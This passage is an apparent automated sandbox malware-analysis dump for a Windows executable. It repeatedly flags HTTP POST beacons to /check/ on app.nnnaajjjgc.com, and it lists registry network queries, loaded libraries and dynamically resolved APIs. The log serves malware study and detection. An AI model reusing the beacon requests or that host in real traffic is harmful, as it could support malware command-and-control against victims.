AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=43620&key=0d1f552222a41920dcd67f9feeba256c HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=43620&key=0d1f552222a41920dcd67f9feeba256c HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=43620&key=0d1f552222a41920dcd67f9feeba256c HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=43620&key=0d1f552222a41920dcd67f9feeba256c HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=43620&key=0d1f552222a41920dcd67f9feeba256c HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=43624&key=c8103e31e2d156799f0c186ef6a4fe02 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "c8103e31e2d156799f0c186ef6a4fe02" in header "POST /check/?sid=43624&key=c8103e31e2d156799f0c186ef6a4fe02 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=43624&key=c8103e31e2d156799f0c186ef6a4fe02 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=43624&key=c8103e31e2d156799f0c186ef6a4fe02 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=43624&key=c8103e31e2d156799f0c186ef6a4fe02 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=43624&key=c8103e31e2d156799f0c186ef6a4fe02 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=43624&key=c8103e31e2d156799f0c186ef6a4fe02 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=43628&key=47d5d65351a8e3fd53c016d1409dbb39 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "47d5d65351a8e3fd53c016d1409dbb39" in header "POST /check/?sid=43628&key=47d5d65351a8e3fd53c016d1409dbb39 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=43628&key=47d5d65351a8e3fd53c016d1409dbb39 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=43628&key=47d5d65351a8e3fd53c016d1409dbb39 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=43628&key=47d5d65351a8e3fd53c016d1409dbb39 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=43628&key=47d5d65351a8e3fd53c016d1409dbb39 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=43628&key=47d5d65351a8e3fd53c016d1409dbb39 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=43632&key=86c3f6fe96f7e5fba83ed502e9f3333f HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "86c3f6fe96f7e5fba83ed502e9f3333f" in header "POST /check/?sid=43632&key=86c3f6fe96f7e5fba83ed502e9f3333f HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=43632&key=86c3f6fe96f7e5fba83ed502e9f3333f HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=43632&key=86c3f6fe96f7e5fba83ed502e9f3333f HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=43632&key=86c3f6fe96f7e5fba83ed502e9f3333f HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=43632&key=86c3f6fe96f7e5fba83ed502e9f3333f HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=43632&key=86c3f6fe96f7e5fba83ed502e9f3333f HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "POST" in header "POST /check/?sid=43638&key=70df0dcb1a636d1145ba2084d7d1a6b0 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "70df0dcb1a636d1145ba2084d7d1a6b0" in header "POST /check/?sid=43638&key=70df0dcb1a636d1145ba2084d7d1a6b0 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Keep" in header "POST /check/?sid=43638&key=70df0dcb1a636d1145ba2084d7d1a6b0 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "AliveContent" in header "POST /check/?sid=43638&key=70df0dcb1a636d1145ba2084d7d1a6b0 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "Type" in header "POST /check/?sid=43638&key=70df0dcb1a636d1145ba2084d7d1a6b0 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "form" in header "POST /check/?sid=43638&key=70df0dcb1a636d1145ba2084d7d1a6b0 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com" Contains base64 string in header "like" in header "POST /check/?sid=43638&key=70df0dcb1a636d1145ba2084d7d1a6b0 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Content-Length: 160Host: app.nnnaajjjgc.com"2c:T9f6,".exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003864) ".exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000d102000000000000000000000000008e150000000000f800d1020000000000000000000000008e2c1477000000000300000000000000907c0d0000000000000a0000000000008c7e0d0000000000f0820d0000000000ea901077000000000000d102000000003002d1020000000000000000000000000000000000000000c8031e77000000000000000000000000207b69000000000000000d00000000000011b7fafe0700003000000000000000b8020d000000000080005000000000000000000000000000b002500000000000a01050000000000080800d00000000000000d102 (UID: 00000000-00003864) ".exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000200000000000d000000000000000000000080000000090000000000000002000000000000000d00000000000000303a1100000000000000000000000000303a110000000000f094180000000000080000000000000030020d000000000031003a009e0000000000000000000000000000000000000068020d000000000030020d0000000000160000000000000090071800000000001900020000000000a0f035fffe070000000000000000000030020d00000000001d3afc760000000090071800000000001900020000000000c0732afffe070000801d170000000000ae0800a6 (UID: 00000000-00003864) ".exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003864)2d:T462,Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: "missionA.bin") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "missionA.bin") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "missionA.bin") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "missionA.bin") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00001544.00000000.75934.FF601000.00000020.mdmp, 00000000-00001544.00000001.77652.FF601000.00000020.mdmp")2e:Tb01,".exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "ENABLEDHCP"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "REGISTRATIONENABLED"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "REGISTERADAPTERNAME"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "DOMAIN"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "DHCPDOMAIN"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "NAMESERVER"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "DHCPNAMESERVER"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "DOMAIN"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "DHCPNAMESERVER"; Value: "")2f:Tef6,".exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter dhcpcsvc.DLL (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter Comctl32.dll (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ws2_32 (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter WINHTTP.dll (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter NSI.dll (UID: 00000000-00003864) ".exe" called "LoadLibrary" with a parameter CFGMGR32.dll (UID: 00000000-00003864)30:T3697,".exe" called "GetProcAddress" with a parameter GetUserNameExA (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetSidSubAuthorityCount (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetSidSubAuthority (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter RegCreateKeyExA (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter RegGetValueW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter CopySid (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter RegGetValueA (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter RegOpenKeyExA (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter WinHttpCreateProxyResolver (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetBestInterfaceEx (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetIfEntry2 (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter NotifyIpInterfaceChange (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter SHGetValueA (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter RegDeleteValueW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter DnsGetProxyInformation (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter NotifyUnicastIpAddressChange (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter DhcpRequestParams (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter RegisterTraceGuidsA (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter CoInternetCreateSecurityManager (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter CoInternetCreateZoneManager (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter RegOpenKeyW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter ConvertInterfaceGuidToLuid (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetIpForwardTable2 (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetIpNetEntry2 (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter FreeMibTable (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter StringFromIID (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter CoSetProxyBlanket (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter ObjectStublessClient10 (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetAddrInfoExW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter getaddrinfo (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter getnameinfo (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter WSASocketA (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter lstrcmpiA (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter RtlZeroMemory (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter RtlMoveMemory (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter TryEnterCriticalSection (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter HeapCreate (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter HeapFree (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter EnterCriticalSection (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00003864) ".exe" called "GetProcAddress" with a parameter WriteFile (UID: 